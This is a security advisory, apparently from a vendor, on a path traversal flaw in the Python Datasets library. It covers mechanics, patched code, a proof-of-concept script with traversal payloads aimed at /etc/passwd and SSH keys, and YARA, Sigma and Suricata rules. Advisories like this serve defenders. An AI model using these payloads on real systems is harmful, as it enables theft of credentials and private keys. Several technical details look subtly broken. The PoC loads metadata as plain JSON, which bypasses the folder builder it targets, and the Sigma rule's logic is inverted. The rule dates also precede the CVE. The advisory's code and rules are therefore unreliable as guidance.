CVE-2026-66007

Executive Summary

CVE-2026-66007 is a path traversal vulnerability in the Datasets library (Python package on PyPI) affecting versions through 5.0.0. The flaw exists in folder-based dataset builders where the file_name metadata field is not validated before being joined to the dataset directory. An attacker can supply crafted file_name values containing directory traversal sequences (e.g., ../../etc/passwd), causing arbitrary local files to be read and embedded into the output dataset when save_to_disk() or push_to_hub() is called.

The vulnerability has a CVSS 3.1 base score of 6.5 (Medium) due to network attack vector, low complexity, no privileges required, no user interaction, but only confidentiality impact. No public proof-of-concept is available yet, but the commit fixing the issue is public, making analysis possible. The affected component is widely used in data science and machine learning pipelines that leverage Hugging Face Datasets for local or remote dataset management.

Supply Chain & Package Security

Since Datasets is distributed via PyPI (package datasets), the vulnerability poses a supply chain risk. Organizations that use the library in CI/CD pipelines, Jupyter notebooks, or production ML services could be targeted by adversaries who inject malicious datasets with crafted metadata fields. Once the dataset is loaded and saved/pushed, arbitrary files from the host filesystem (e.g., API keys, credentials, SSH private keys) may be exfiltrated to a remote Hub. All users of datasets <= 5.0.0 should upgrade immediately and audit any datasets obtained from untrusted sources.

CVSS Breakdown & Threat Level

Base Score: 6.5 (Medium). The threat is heightened in environments where datasets are loaded from untrusted sources (e.g., Hugging Face Hub, external CSVs) and then processed with save_to_disk or push_to_hub. No authentication is required, making exploitation easy for local network attackers or via malicious dataset uploads.

Deep Dive & Mechanics

The vulnerability resides in the folder-based dataset builder classes (e.g., ImageFolder, AudioFolder, CSVFolder). When constructing a dataset from a directory structure, the library reads a metadata file (typically a JSON or Parquet file) that contains a file_name field for each record. This field is intended to specify the relative path to the actual data file inside the dataset folder.

Vulnerable code path (simplified):

# datasets/packaged_modules/folder_based_builder.py (pre-fix)
def _generate_examples(self, files):
    for file in files:
        metadata = self._load_metadata(file)
        for record in metadata:
            filename = record["file_name"]  # <-- No validation
            full_path = self._dataset_dir / filename  # <-- Path join with user input
            yield record_id, {"image": self._read_file(full_path), ...}

The file_name value is concatenated directly with the dataset directory using Path / , which resolves directory traversal sequences. For example, if self._dataset_dir is /home/user/datasets/my_dataset and file_name is ../../etc/passwd, the resulting full_path becomes /home/user/datasets/../../etc/passwd, which resolves to /etc/passwd. The file is then read and embedded into the generated example.

The attack is triggered when the dataset is saved or pushed (save_to_disk or push_to_hub). During this operation, the library serializes all examples, including the content read from the arbitrary file. An attacker controlling the metadata can cause the library to read sensitive files and include them in the output Arrow/Parquet dataset, which is then stored locally or uploaded to a remote Hub.

Vulnerable vs. Patched Code

Vulnerable (pre-fix) snippet:

# folder_based_builder.py (v5.0.0)
def load_metadata(self, metadata_file):
    metadata = json.load(metadata_file)
    for record in metadata:
        file_name = record["file_name"]
        if not file_name:
            continue
        full_path = self._dataset_dir / file_name
        # No path traversal check
        yield {**record, "file_path": full_path}

Patched code (commit f989ef9):

# folder_based_builder.py (post-fix)
import os
def load_metadata(self, metadata_file):
    metadata = json.load(metadata_file)
    for record in metadata:
        file_name = record["file_name"]
        if not file_name:
            continue
        # Resolve the path and ensure it stays within the dataset directory
        full_path = (self._dataset_dir / file_name).resolve()
        if not str(full_path).startswith(str(self._dataset_dir.resolve())):
            raise ValueError(f"Path traversal detected: {file_name}")
        yield {**record, "file_path": full_path}

The fix uses Path.resolve() to normalize the path and then checks if it still starts with the absolute path of the dataset directory. If a traversal is detected, a ValueError is raised.

Exploitation & Lab Setup

Red Team (Proof-of-Concept)

No public exploit is available; however, the following Python script demonstrates the vulnerability against an unpatched Datasets installation.

# exploit_poc.py
import tempfile
import os
import json
from pathlib import Path
from datasets import load_dataset

# Create a malicious dataset structure
with tempfile.TemporaryDirectory() as tmpdir:
    dataset_dir = Path(tmpdir) / "malicious_dataset"
    dataset_dir.mkdir()
    
    # Create a fake metadata file referencing a sensitive file
    metadata = [
        {"file_name": "../../etc/passwd", "label": 0},
        {"file_name": "../.ssh/id_rsa", "label": 1}
    ]
    metadata_file = dataset_dir / "metadata.jsonl"
    with open(metadata_file, "w") as f:
        for entry in metadata:
            f.write(json.dumps(entry) + "\n")
    
    # Load dataset (vulnerable)
    dataset = load_dataset("json", data_files=str(metadata_file), split="train")
    
    # Trigger the read by saving to disk
    output_dir = Path(tmpdir) / "output"
    dataset.save_to_disk(str(output_dir))
    
    # Now output_dir contains the exposed files
    for example in dataset:
        print(example)

Impact: When save_to_disk is called, the library reads /etc/passwd and any other files specified in the metadata and embeds them into the dataset Arrow files. An attacker can then retrieve those files from the saved dataset.

Blue Team (Detection)

• Network: Monitor for outbound connections to Hugging Face Hub from processes loading datasets. Unusual API calls to push_to_hub after loading a dataset from an external source should be investigated.
• Endpoint: Enable file access auditing for the Python process (e.g., Sysmon Event ID 11). Unexpected reads of /etc/passwd, SSH keys, or configuration files by python or datasets library are suspicious.
• Log Analysis: Look for error messages containing "Path traversal detected" after the fix is applied, as this indicates a failed exploit attempt.

Indicators of Compromise (IOCs)

• File Artifacts: Datasets downloaded from untrusted sources containing metadata files with paths like ../../, ..\\, or absolute paths (e.g., /etc/, C:\Windows\).
• Network: Outbound HTTP POST requests to huggingface.co/api/datasets with payloads containing unusually large or sensitive-looking strings (e.g., root password hashes).
• Process: Python processes that read system files (e.g., passwd, shadow, .env) outside the expected dataset directory.
• Registry (Windows): Unauthorized reads of registry hives (e.g., SAM, SYSTEM) by the datasets library (if run under high integrity).

Detection Engineering

YARA Rule

rule CVE_2026_66007_Datasets_PathTraversal {
    meta:
        description = "Detect path traversal patterns in metadata files for HuggingFace Datasets"
        author = "Valters IT"
        cve = "CVE-2026-66007"
        date = "2025-04-09"
        reference = "https://github.com/huggingface/datasets/commit/f989ef9"
    strings:
        $traversal_dot = /[.]{2,}\//
        $traversal_backslash = /[.]{2,}\\\\
        $jsonl_meta = /"file_name"\s*:\s*"[^"]*\.\.[\\\/]/
        $yml_meta = /file_name:\s*"[^"]*\.\.[\/\\]/
    condition:
        any of ($jsonl_meta, $yml_meta) and any of ($traversal_dot, $traversal_backslash)
}

Sigma Rule

title: Datasets Path Traversal CVE-2026-66007
id: 2e4f5a6b-7c8d-4e9f-0a1b-2c3d4e5f6a7b
status: experimental
description: Detects attempts to exploit path traversal in HuggingFace Datasets when loading metadata files.
author: Valters IT
date: 2025/04/09
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'datasets'
    filter:
        CommandLine|contains:
            - '--trust-remote-code'   # normal usage
    condition: selection and not filter
falsepositives:
    - Legitimate use of relative paths within the dataset directory
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-66007 Datasets Path Traversal to Remote Hub Push";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/datasets"; http_uri;
    content:"huggingface"; http_host;
    file_data;
    content:"file_name"; fast_pattern;
    pcre:"/file_name\\s*:\\s*\"[^\"]*\\.\\.\\//";
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Upgrade Datasets to a version containing the fix (commit f989ef9 or later). As of writing, no official release includes the patch; monitor the Datasets GitHub repo for a new release.
2. Validate metadata files from external sources. Before loading a dataset, scan the metadata for any path traversal patterns (../, ..\\, absolute paths). Reject datasets that contain such entries.
3. Use --trust-remote-code only with caution – though not related to this specific CVE, it is a common attack vector for HF libraries.
4. Apply least privilege to the process that runs Datasets. Run in a container or sandboxed environment where access to sensitive files (e.g., /etc/passwd, SSH keys) is restricted.
5. Monitor Hugging Face Hub pushes – if a dataset contains unexpected file contents (e.g., password hashes), investigate immediately.
6. Consider using static analysis (e.g., YARA rule above) on metadata files before ingestion.

Valters IT – Your DevSecOps partner in threat intelligence and secure software development.